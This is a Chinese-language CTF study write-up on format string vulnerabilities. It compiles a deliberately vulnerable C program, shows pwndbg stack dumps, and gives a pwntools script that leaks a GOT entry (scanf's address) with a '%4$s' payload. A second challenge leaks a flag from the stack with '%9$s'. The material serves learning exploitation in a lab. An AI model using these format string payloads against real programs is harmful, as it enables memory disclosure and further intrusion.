格式化字符串分析
格式化字符串
这个题目是ctfwiki上的
c代码如下:
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
(突然发现腾讯文档居然还支持代码好强啊
我们编译一下:
gcc -m32 -fno-stack-protector -no-pie -o leakMemory leakMemory.c -g
把保护措施都关掉了
% checksec leakMemory
[*] '/home/abc/Desktop/pwn/leakMemory/leakMemory'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
先看一下几个payload
pwndbg> b printf
Breakpoint 1 at 0x8048330
pwndbg> r
Starting program: /home/abc/Desktop/pwn/leakMemory/leakMemory
%08x.%08x.%08x
Breakpoint 1, __printf (format=0x8048593 "%08x.%08x.%08x.%s\n") at printf.c:28
28printf.c: No such file or directory.
在printf处下断点
此时栈上的布局如下
00:0000│ esp 0xffffcf9c —▸ 0x80484ea (main+100) ◂— add esp, 0x20
01:0004│ 0xffffcfa0 —▸ 0x8048593 ◂— and eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
02:0008│ 0xffffcfa4 ◂— 0x1
03:000c│ 0xffffcfa8 ◂— 0x22222222 ('""""')
04:0010│ 0xffffcfac ◂— 0xffffffff
05:0014│ 0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'
continue一下:
pwndbg> c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x
Breakpoint 1, __printf (format=0xffffcfc0 "%08x.%08x.%08x") at printf.c:28
28in printf.c
输出了信息的同时, 命中第二个断点
此时栈上的布局如下:
00:0000│ esp 0xffffcfac —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:0004│ 0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'
... ↓
03:000c│ 0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffffcfbc —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffffcfc0 ◂— '%08x.%08x.%08x'
06:0018│ 0xffffcfc4 ◂— '.%08x.%08x'
07:001c│ 0xffffcfc8 ◂— 'x.%08x'
此时printf函数会把格式化字符串之后的栈上的信息当作参数打印出来:
contiue一下
pwndbg> c
Continuing.
ffffcfc0.f7fcf410.0804849d[Inferior 1 (process 4975) exited normally]
之前栈上的信息显示的不全,栈的内存如下:
pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x78383025 0x3830252e 0x30252e78 0x00007838
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0x6f984f00
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748
0xffffcfb0 是格式化字符串的地址, 我们看到此时printf函数将0xffffcfc0 0xf7fcf410 0x0804849d
都打印出来了, 也就是格式化字符串之后的三个位置的信息
我们通过这种方式泄露栈的信息,但是也可以直接去取得栈中被视为第n+1个参数的值
至于为什么是第n+1, 这是因为格式化字符串是第一个参数
比如 通过 %3\$x(这个的原理是啥?为什么要加\$符号) 我们可以泄露栈上被视为第4个参数的值
栈布局如下:(左边的一列是栈地址,也就是内存的地址,箭头代表了这个内存单元存储的数据,如果是指针还会进一步指示)
00:0000│ esp 0xffffcfac —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:0004│ 0xffffcfb0 —▸ 0xffffcfc0 ◂— '%3$x'
... ↓(这里是省略号,是不是就是直接指向了,中间那个就被跳过了)
03:000c│ 0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffffcfbc —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffffcfc0 ◂— '%3$x'
06:0018│ 0xffffcfc4 ◂— 0x0
07:001c│ 0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0
同样看不清, 还是直接打印内存信息吧(x命令的用法,这里显示的是内存地址从0xffffcfb0开始的,因为内存是按照字节编址的,所以一行正好是16个字节内存地址就是加10)
pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d (0xffffcfb0这个内存单元指向了0xffffcfc0)
0xffffcfc0:0x78243325 0x00000000 0xf7ffd940 0x000000c2 (看内存单元0xffffcfc0存放的内容就是x$3%)
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xd6a57700
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748
猜猜这时候打印的信息是啥?
答案是栈上被视为第四个参数的信息: 0x0804849d
同样的我们还可以通过%s来得到字符串的信息
栈布局如下:
00:0000│ esp 0xffffcfac —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:0004│ 0xffffcfb0 —▸ 0xffffcfc0 ◂— 0x7325 /* '%s' */
... ↓
03:000c│ 0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffffcfbc —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffffcfc0 ◂— 0x7325 /* '%s' */
06:0018│ 0xffffcfc4 ◂— 0x1
07:001c│ 0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0
还是看不清,直接看内存吧(md 垃圾pwndbg)
pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x00007325 0x00000001 0xf7ffd940 0x000000c2
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xf1ae2900
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748
这个时候会直接将 0xffffcfc0 对应的字符串打印出来
结果自然就是 %s了
如果我们输入%2$s, 这个时候就很有趣了, 按照道理程序会将 0xf7fcf410 对应地址的当作字符串打印出来, 可是如果这个地址无效呢?
我自己尝试的结果是直接退出了,什么都没有打印出来emm
这时候如果我们指定一个合法的地址, 比如got表中某个函数的地址这就很神奇了
exp如下:
from pwn import *
import time
sh = process('./leakMemory')
context.log_level = 'debug'
leakmemory = ELF('./leakMemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
payload1 = '%4$s' #这两个payload是自己测试的
payload2 = 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'
gdb.attach(sh)
#time.sleep(1)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
#print sh.recvuntil('%4$s\n')
#print '\n'
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
我们运行这个exp
在pwndbg中下断点
运行到第二个printf的时候
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffa3bdfc —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:0004│ 0xffa3be00 —▸ 0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push ebp
... ↓
03:000c│ 0xffa3be08 —▸ 0xf7f85410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffa3be0c —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push ebp
06:0018│ 0xffa3be14 ◂— '%4$s'
07:001c│ 0xffa3be18 —▸ 0xf7fb3900 (catch_hook) ◂— 0x0
另一边
[+] Waiting for debugger: Done
[DEBUG] Sent 0x9 bytes:
00000000 14 a0 04 08 25 34 24 73 0a │····│%4$s│·│
00000009
[DEBUG] Received 0x24 bytes:
00000000 30 30 30 30 30 30 30 31 2e 32 32 32 32 32 32 32 │0000│0001│.222│2222│
00000010 32 2e 66 66 66 66 66 66 66 66 2e 14 a0 04 08 25 │2.ff│ffff│ff.·│···%│
00000020 34 24 73 0a │4$s·││
00000024
continue
[DEBUG] Received 0x8 bytes:
00000000 14 a0 04 08 b0 2b df f7 │····│·+··││
00000008
0xf7df2bb0
[*] Switching to interactive mode
[*] Process './leakMemory' stopped with exit code 0 (pid 5064)
[*] Got EOF while reading in interactive
这个时候我们就得到了scanf函数的地址了
ok 还有几个地方没弄明白之后再写
确定可控制格式化字符串位置的方法
既然程序是有漏洞的,我们就必须知道可被控制的格式化字符串的位置,这时候大致有以下几种姿势
- 构造类似
[tag]%p%p%p%p%p%p...这样的参数 - Pwngdb中有一个叫做
fmarg可以用来获取指定地址到底是第几个参数
不是很理解第一种方法原理,但是第二种方法比较好用
不过我们可以来看一个例子:
IDA中的C代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+3h] [rbp-3Dh]
signed int i; // [rsp+4h] [rbp-3Ch]
signed int j; // [rsp+4h] [rbp-3Ch]
char *format; // [rsp+8h] [rbp-38h]
_IO_FILE *fp; // [rsp+10h] [rbp-30h]
char *v9; // [rsp+18h] [rbp-28h]
char v10[24]; // [rsp+20h] [rbp-20h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]
v11 = __readfsqword(0x28u);
fp = fopen("flag.txt", "r");
for ( i = 0; i <= 21; ++i )
v10[i] = _IO_getc(fp);
fclose(fp);
v9 = v10;
puts("what's the flag");
fflush(_bss_start);
format = 0LL;
__isoc99_scanf("%ms", &format);
for ( j = 0; j <= 21; ++j )
{
v4 = format[j];
if ( !v4 || v10[j] != v4 )
{
puts("You answered:");
printf(format);
puts("\nBut that was totally wrong lol get rekt");
fflush(_bss_start);
return 0;
}
}
printf("That's right, the flag is %s\n", v9);
fflush(_bss_start);
return 0;
}
显然的格式化字符串漏洞
我们需要在printf函数处下断点
然后随便输入一些数字:
[-------------------------------------code-------------------------------------]
0x7ffff7a48e6c <__fprintf+172>:
call 0x7ffff7b18c80 <__stack_chk_fail>
0x7ffff7a48e71: nop WORD PTR cs:[rax+rax*1+0x0]
0x7ffff7a48e7b: nop DWORD PTR [rax+rax*1+0x0]
=> 0x7ffff7a48e80 <__printf>: sub rsp,0xd8
0x7ffff7a48e87 <__printf+7>: test al,al
0x7ffff7a48e89 <__printf+9>: mov QWORD PTR [rsp+0x28],rsi
0x7ffff7a48e8e <__printf+14>: mov QWORD PTR [rsp+0x30],rdx
0x7ffff7a48e93 <__printf+19>: mov QWORD PTR [rsp+0x38],rcx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde08 --> 0x400890 (<main+234>: mov edi,0x4009b8)
0008| 0x7fffffffde10 --> 0x61000001
0016| 0x7fffffffde18 --> 0x602cb0 ('a' <repeats 16 times>)
0024| 0x7fffffffde20 --> 0x602260 --> 0x0
0032| 0x7fffffffde28 --> 0x7fffffffde30 ("flag{", '1' <repeats 12 times>, "}\n\377\377\377")
0040| 0x7fffffffde30 ("flag{", '1' <repeats 12 times>, "}\n\377\377\377")
0048| 0x7fffffffde38 ("111111111}\n\377\377\377")
0056| 0x7fffffffde40 --> 0xffffff0a7d31
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, __printf (format=0x602cb0 'a' <repeats 16 times>) at printf.c:28
28 printf.c: No such file or directory.
这时候可以看到flag了,注意我们是在本地调试,调试的时候当然可以看到flag,一般的pwn题都是要远程连接的
如果我们要泄露flag的值,就需要构造%n$s这样的传进去。所以获取参数的位置很关键
gdb-peda$ fmtarg 0x7fffffffde28
The index of format argument : 10 ("\%9$p")
通过Pwngdb就可以查看参数的位置了
这时候运行
abc@ubuntu ~/Desktop/pwnEaxmple/zifuchuan
% ./goodluck
what's the flag
%9$s
You answered:
flag{111111111111}
���
But that was totally wrong lol get rekt
就得到了flag
(这里值得注意的就是,64位系统和32位系统传参是不一样的)